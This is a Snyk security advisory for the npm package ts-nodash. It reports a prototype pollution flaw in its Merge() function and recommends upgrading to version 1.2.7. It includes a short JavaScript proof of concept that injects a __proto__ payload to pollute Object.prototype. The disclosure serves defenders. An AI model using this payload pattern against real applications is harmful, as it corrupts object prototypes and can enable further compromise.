ts-nodash@1.1.2 vulnerabilities

Provides object manipulation tools.

  • latest version

    1.3.9

  • latest non vulnerable version

  • first published

    5 years ago

  • latest version published

    6 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the ts-nodash package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    ts-nodash is a Provides object manipulation tools.

    Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function due to lack of validation input.

    PoC

    const nodash = require("ts-nodash");
    let obj = {};
    console.log("Before being polluted: " + obj.polluted);
    var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
    nodash.Merge({}, EVIL_JSON);
    console.log("After being polluted: " + obj.polluted);
    

    How to fix Prototype Pollution?

    Upgrade ts-nodash to version 1.2.7 or higher.

    <1.2.7